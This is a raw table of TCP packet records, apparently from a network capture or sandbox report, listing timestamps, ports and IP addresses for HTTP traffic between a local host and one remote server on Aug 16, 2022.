Aug 16, 2022 11:45:08.699651003 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.699666977 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.699667931 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.699687958 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.699721098 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.699726105 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.699750900 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.699769974 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.699780941 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.699788094 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.699805975 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.699815035 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.699836016 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.699850082 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.699853897 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.699872017 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.699898958 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.699920893 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.699923038 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.699940920 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.699959040 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.699966908 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.699976921 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.699990988 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.700020075 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.700037003 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.700041056 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.700056076 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.700073957 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.700076103 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.700110912 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.700177908 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.700196028 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.700213909 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.700221062 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.700229883 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.700248003 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.700263977 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.700265884 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.700287104 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.700305939 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.700316906 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.700336933 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.700362921 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.700396061 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.700414896 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.700432062 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.700438976 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.700449944 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.700462103 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.700468063 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.700484991 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.700494051 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.700534105 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.700604916 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.700623989 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.700643063 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.700659990 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.700666904 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.700697899 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.700776100 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.700794935 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.700814009 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.700830936 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.700843096 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.700850964 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.700876951 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.700901031 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.700901031 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.700921059 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.700939894 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.700973988 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.701005936 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.731301069 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.731645107 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.739548922 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.928596020 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.928623915 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.928642988 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.928661108 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.928666115 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.928678036 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.928694963 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.928697109 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.928751945 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.928769112 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.928771019 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.928792953 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.928800106 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.928826094 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.928831100 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.928847075 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.928859949 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.928872108 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.928894997 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.928940058 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.928957939 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.928975105 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.928977966 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.928993940 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.929002047 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.929012060 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.929028988 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.929033995 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.929045916 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.929064035 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.929069042 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.929081917 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.929091930 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.929099083 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.929116964 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.929126978 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.929132938 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.929151058 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.929161072 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.929167032 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.929183960 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.929189920 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.929200888 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.929214001 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.929219007 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.929235935 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.929245949 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.929251909 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.929269075 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.929279089 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.929286003 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.929301977 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.929310083 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.929317951 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.929335117 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.929335117 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.929352045 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.929358959 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.929368973 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.929393053 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.929399014 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.929411888 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.929424047 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.929440022 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.929452896 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.929478884 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.929491997 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.929537058 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.929574966 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.929588079 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.929642916 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.929950953 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.929965019 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.929980040 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.929994106 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.930030107 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.930094004 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.930108070 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.930119991 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.930223942 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.930282116 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.930432081 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.930521011 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.930563927 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.930591106 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.930614948 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.930633068 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.930639982 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.930660963 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.930668116 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.930685997 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.930694103 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.930717945 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.930720091 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.930742025 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.930746078 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.930767059 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.930769920 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.930790901 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.930794954 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.930814028 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.930821896 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.930839062 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.930850029 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.930862904 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.930885077 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.930886984 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.930910110 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.930927992 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.930968046 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.930973053 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.931001902 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.931041002 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.931188107 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.931229115 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.931248903 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.931272984 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.931288958 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.931298971 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.931308985 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.931324959 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.931340933 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.931370020 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.931381941 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.931396008 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.931412935 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.931436062 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.931441069 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.931466103 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.931479931 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.931505919 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.931509972 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.931535006 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.931555033 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.931575060 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.931581020 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.931603909 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.931622028 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.931627989 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.931653023 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.931668997 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.931678057 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.931706905 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.931726933 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.931766987 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.931793928 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.931819916 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.931839943 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.931844950 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.931868076 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.931885958 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.931895018 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.931926012 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.931942940 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.931987047 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.931989908 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.932024956 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.932046890 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.932074070 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.932086945 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.932097912 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.932116985 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.932121992 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.932142019 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.932147026 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.932168007 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.932173014 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.932194948 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.932220936 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.932246923 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.932272911 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.932296991 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.932297945 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.932342052 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.932348967 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.932368040 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.932406902 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.932411909 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.932436943 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.932451010 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.932465076 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.932490110 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.932517052 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.932522058 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.932559967 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.932564974 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.932590008 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.932607889 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.932616949 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.932627916 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.932657003 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.932689905 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.932714939 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.932734966 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.932758093 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.932764053 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.932784081 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.932797909 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.932811022 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.932840109 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.932841063 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.932862997 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.932867050 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.932889938 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.932920933 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.932941914 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.932965994 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.932986975 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.933008909 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.933012009 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.933036089 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.933051109 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.933078051 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.933078051 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.933129072 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.933135986 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.933171988 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.933195114 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.933223963 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.933233976 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.933247089 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.933274031 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.933298111 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.933303118 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.933322906 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.933346987 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.933356047 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.933372974 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.933396101 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.933406115 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.933422089 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.933433056 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.933448076 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.933474064 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.933475018 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.933497906 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.933516026 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.933522940 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.933546066 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.933548927 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.933583975 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.933583975 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.933609009 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.933612108 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.933634996 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.933641911 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.933660984 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.933674097 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.933686018 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.933708906 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.933712006 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.933736086 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.933747053 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.933762074 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.933787107 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.933789015 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.933811903 CEST	80	49837	187.45.240.69	192.168.2.5
